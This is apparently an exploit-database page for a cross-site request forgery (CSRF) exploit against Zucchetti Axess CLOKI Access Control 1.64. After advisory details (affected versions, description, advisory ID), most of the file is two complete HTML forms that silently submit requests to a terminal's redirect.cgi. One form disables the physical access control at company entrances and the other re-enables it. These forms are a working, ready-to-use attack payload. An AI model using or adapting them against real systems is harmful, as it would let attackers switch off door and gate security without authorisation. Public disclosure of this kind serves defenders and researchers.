90f7e494d6
9 changes to exploits/shellcodes Laravel Valet 2.0.3 - Local Privilege Escalation (macOS) Microsoft Internet Explorer / ActiveX Control - Security Bypass Apache Log4j2 2.14.1 - Information Disclosure Apache Log4j 2 - Remote Code Execution (RCE) WordPress Plugin Typebot 1.4.3 - Stored Cross Site Scripting (XSS) (Authenticated) Booked Scheduler 2.7.5 - Remote Command Execution (RCE) (Authenticated) Zucchetti Axess CLOKI Access Control 1.64 - Cross Site Request Forgery (CSRF) meterN v1.2.3 - Remote Code Execution (RCE) (Authenticated) Online Thesis Archiving System 1.0 - SQLi Authentication Bypass
101 lines
No EOL
3.7 KiB
Text
101 lines
No EOL
3.7 KiB
Text
# Exploit Title: Zucchetti Axess CLOKI Access Control 1.64 - Cross Site Request Forgery (CSRF)
|
|
# Date: 13/12/2021
|
|
# Exploit Author: LiquidWorm
|
|
# Vendor Homepage: https://www.axesstmc.com/cloki/
|
|
|
|
<!--
|
|
|
|
Zucchetti Axess CLOKI Access Control 1.64 CSRF Disable Access Control
|
|
|
|
|
|
Vendor: Zucchetti Axess S.p.A.
|
|
Product web page: https://www.axesstmc.com
|
|
Affected version: 1.64
|
|
1.63
|
|
1.54
|
|
|
|
|
|
Summary: CLOKI is the pre-installed application on our terminals that
|
|
provides simple to use access control management and attendance monitoring
|
|
using any browser (IE, Chrome, Firefox, etc.). It is suited for anyone
|
|
looking for a stand-alone Access Control and Attendance Monitoring system
|
|
where the users' data is not frequently changed. Data management is simple
|
|
and intuitive and no additional software is needed on the PC intend to use
|
|
as WEB base. CLOKI for Access Control also allows configuration and monitoring
|
|
of access at all company entrances (doors, gates, turnstiles etc). The Access
|
|
Control manages any type of reader, entrance and access credential. Using an
|
|
impartial selector it is possible to check that employees do not take company
|
|
assets and allows registration of all accesses to the system and all operations
|
|
that users carry out.
|
|
|
|
Desc: The application interface allows users to perform certain actions via HTTP
|
|
requests without performing any validity checks to verify the requests. These
|
|
actions can be exploited to perform authentication detriment and account password
|
|
change with administrative privileges if a logged-in user visits a malicious web
|
|
site.
|
|
|
|
Tested on: Start X3 (h02 build 4163)
|
|
Start X1 (g01 build 2804)
|
|
X1/X2/X3/X4/X7 Web Server
|
|
|
|
|
|
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
|
|
@zeroscience
|
|
|
|
|
|
Advisory ID: ZSL-2021-5689
|
|
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5689.php
|
|
|
|
|
|
13.11.2021
|
|
|
|
-->
|
|
|
|
|
|
CSRF disable AC:
|
|
----------------
|
|
<html>
|
|
<body>
|
|
<form action="http://10.0.0.2:8081/redirect.cgi">
|
|
<input type="hidden" name="flagAccessControlChanged" value="true" />
|
|
<input type="hidden" name="RAct" value="5" />
|
|
<input type="hidden" name="EnR" value="1" />
|
|
<input type="hidden" name="ExR" value="1" />
|
|
<input type="hidden" name="DenyRTout" value="5" />
|
|
<input type="hidden" name="DenyR" value="0" />
|
|
<input type="hidden" name="IType" value="0" />
|
|
<input type="hidden" name="E485" value="on" />
|
|
<input type="hidden" name="GType" value="0" />
|
|
<input type="hidden" name="TOO" value="50" />
|
|
<input type="hidden" name="TOC" value="50" />
|
|
<input type="hidden" name="TOOE" value="100" />
|
|
<input type="hidden" name="TOCE" value="100" />
|
|
<input type="submit" value="Submit request" />
|
|
</form>
|
|
</body>
|
|
</html>
|
|
|
|
|
|
CSRF enable AC:
|
|
---------------
|
|
<html>
|
|
<body>
|
|
<form action="http://10.0.0.2:8081/redirect.cgi">
|
|
<input type="hidden" name="flagAccessControlChanged" value="true" />
|
|
<input type="hidden" name="ACtrl" value="on" />
|
|
<input type="hidden" name="RAct" value="5" />
|
|
<input type="hidden" name="EnR" value="1" />
|
|
<input type="hidden" name="ExR" value="1" />
|
|
<input type="hidden" name="DenyRTout" value="5" />
|
|
<input type="hidden" name="DenyR" value="0" />
|
|
<input type="hidden" name="IType" value="0" />
|
|
<input type="hidden" name="E485" value="on" />
|
|
<input type="hidden" name="GType" value="0" />
|
|
<input type="hidden" name="TOO" value="50" />
|
|
<input type="hidden" name="TOC" value="50" />
|
|
<input type="hidden" name="TOOE" value="100" />
|
|
<input type="hidden" name="TOCE" value="100" />
|
|
<input type="submit" value="Submit request" />
|
|
</form>
|
|
</body>
|
|
</html> |